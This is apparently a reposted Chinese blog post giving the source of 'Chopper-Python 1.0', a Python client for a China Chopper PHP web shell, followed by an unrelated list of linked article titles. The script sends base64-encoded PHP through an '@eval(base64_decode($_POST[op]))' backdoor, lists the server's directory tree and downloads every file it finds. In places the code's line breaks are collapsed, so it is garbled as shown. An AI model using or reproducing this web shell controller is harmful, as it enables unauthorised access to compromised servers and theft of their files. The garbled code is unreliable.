这是Chopper-Python version1.0版本,只实现了文件下载的功能。而且,没有很好地去处理异常情况。期待下一个版本

#! /usr/bin/env python
#coding=utf-8'''
Soft:   Chopper-Python version 1.0
Date:   2015/11/1
Author: Vicain
'''from bs4 import BeautifulSoup
from bs4 import NavigableString
import requests
import urllib
import base64
import sys
import oslist_dir_op="""
function listDir($dirname){header("Content-type:application/xml");echo "<directory name='$dirname'>";if(is_dir($dirname)){if($dir_stream = opendir($dirname)){while(($file=readdir($dir_stream))!==false){$current_file = $dirname."/".$file;if(is_dir($current_file)&&$file!=="."&&$file!==".."){listDir($current_file);}            elseif($file!=="."&&$file!==".."){echo "<file name='$file'></file>";}}closedir($dir_stream);}echo "</directory>";}
}
listDir("D:/wamp/www/mycode");
"""download_file_op="""
header("Content-Disposition:attachment");
readfile("file_name");
"""comment="""
上面的php代码中,由于python会对'\'后面的字符进行转义,因此需要修改一下payload中的'\'...
我将路径全部统一成了'/'
"""url         = "http://127.0.0.1/chopper.php"
password    = "jjy"
file_list   = []
def codeSet():if(sys.getdefaultencoding()=='ascii'):reload(sys)sys.setdefaultencoding('utf-8')def postParameters(url,password,op):op       = base64.b64encode(op)body     = {password:"@eval(base64_decode($_POST[op]));","op":op}response = requests.post(url,data=body)soup     = BeautifulSoup(response.text,"lxml")return soup.find(attrs={"name":"D:/wamp/www/mycode"})        #这里参数都是写死了的,只是作为测试!
def xmlParser(root):         #递归遍历文件,返回文件列表
    global file_listp_name      = root.attrs["name"]for sibling in root.contents:if not(isinstance(sibling, NavigableString)):   if sibling.name == "directory":s_dname = p_name+"/"+sibling.attrs["name"]xmlParser(sibling)if sibling.name == "file":s_fname = sibling.attrs["name"]file_list.append(p_name+"/"+s_fname)def fileDownload(file_list,remote_dir,local_dir):global download_file_opt_download_file_op = download_file_opfor file in file_list:  t_local_dir  = local_dirt_download_file_op = t_download_file_op.replace("file_name",file)               #替换php脚本文件中的file_nameop          = base64.b64encode(t_download_file_op)body        = {password:"@eval(base64_decode($_POST[op]));","op":op}response    = requests.post(url,data=body)local_file  = t_local_dir.strip('/')+'/'+remote_dir.strip('/').split('/')[-1]+'/'+file.split(remote_dir)[1]t_local_dir   = '/'.join(local_file.split('/')[0:-1])if(os.path.exists(t_local_dir)==False):os.makedirs(t_local_dir)with open(local_file,'wb') as f:f.write(response.text)sys.stdout.write(local_file+" has been written successfully!\n")sys.stdout.flush()print 'End...'
def main():global file_listdoc_xml     = postParameters(url,password,list_dir_op)xmlParser(doc_xml)fileDownload(file_list,"D:/wamp/www/mycode/","c:/users/cain/desktop")if __name__=="__main__":codeSet()main()

转载于:https://www.cnblogs.com/vicain/p/4928598.html

Chopper-Python version 1.0相关推荐

  1. vs2022,python,找不到 .NETFramework,Version=v4.0 的引用程序集。

    旧的vs2019创建的python 项目,用vs2022打开编译出现如下错误. 严重性 代码 说明 项目 文件 行 禁止显示状态 错误 找不到 .NETFramework,Version=v4.0 的 ...

  2. 【Python】You are using pip version 9.0.1, however version 23.0.1 is available.

    完整报错如下: Cache entry deserialization failed, entry ignored Could not fetch URL https://pypi.tuna.tsin ...

  3. Linux笔记(2)——导入python库报错“libgomp.so.1: version `GOMP_4.0‘ not found“

    导入python库报错"libgomp.so.1: version `GOMP_4.0' not found" 问题描述 超算跑一个pytorch,出现如下错误 from torc ...

  4. 完美解决:You are using pip version 9.0.1, however version 18.0 is available.

    问题描述: You are using pip version 9.0.1, however version 18.0 is available. You should consider upgrad ...

  5. Python DB-API 2.0规范

    Python DB-API 2.0规范 PEP:  249 标题: Python Database API Specification v2.0 版本: 83893e13db91 修改日期: 2008 ...

  6. python version 3.4 required_Python version 3.3 required, which was not found in the registry

    在windows下安装numpy的时候, 出现了"Python version 3.3 required, which was not found in the registry" ...

  7. 成功解决​​​​​​​安装pywin32时出现python version 3.6 required, which was not found in the registry

    成功解决安装pywin32时出现python version 3.6 required, which was not found in the registry 目录 解决问题 解决方法 第一步,打开 ...

  8. 成功解决You are using pip version 9.0.3, however version 10.0.1 is available. You should consider upgr

    成功解决You are using pip version 9.0.3, however version 10.0.1 is available. You should consider upgr 目 ...

  9. 成功解决You are using pip version 9.0.1, however version 9.0.3 is available. You should consider upgra

    成功解决You are using pip version 9.0.1, however version 9.0.3 is available. You should consider upgra 目 ...

最新文章

  1. CentOS 配置epel源
  2. 好色派:日省 6 小时,神策分析是我的“菜”
  3. React文档(七)处理事件
  4. 树莓派Linux内核源码配置、编译、挂载(boot/kernal/根文件)、开启新内核
  5. SpringCloud Ribbon(六)之服务实例过滤器ServerListFilter
  6. dreamweaver 正则表达式为属性值加上双引号_PHP正则表达式核心技术完全详解 第2节...
  7. 对Unity3d C#手动处理异常产生
  8. Zookeeper ZAB 协议分析
  9. Ogre:ManualObject
  10. 数据结构在程序中的实现及表现形式
  11. linux下面修改默认的shell
  12. 产品经理的简历怎么写?
  13. 行远自迩,不负韶华!2020年度博客之星TOP 20榜单揭晓
  14. 机械臂速成小指南(二):机械臂的应用
  15. ethtool查看网卡统计信息的流程
  16. 【百度大脑新品体验】人脸面部动作识别
  17. 简单了解计算机基础知识
  18. 【JAVA Core】精品面试题100道
  19. 【经典蓝牙】蓝牙 A2DP协议分析
  20. 调用百度人体关键点识别API

热门文章

  1. 关于学生免费免费阿里云ECS
  2. 用MybatisPlus代码生成器生成代码
  3. [含lw+辩论PPT+任务书+中期检查表+源码等]S2SH健身俱乐部会员系统|健身房[包运行成功]适合计算机毕业设计Java毕设程序设计
  4. 从另一个角度去解读Blinker,剖析精简源码,学习开源精神,菜鸟哥还是忍不住对它下手了
  5. 公司类型其他有限责任公司什么意思
  6. 解决 淘宝助理第一张图片不显示
  7. 有人说雪中送炭基本没有,锦上添花都愿意。您赞同吗?
  8. 推荐一个医疗器械管理软件能通过gsp并且有追溯功能的
  9. 【算法题目】【DFS】岛屿数量 岛屿中面积最大值
  10. 微信公众号开发-网页授权——配置测试账号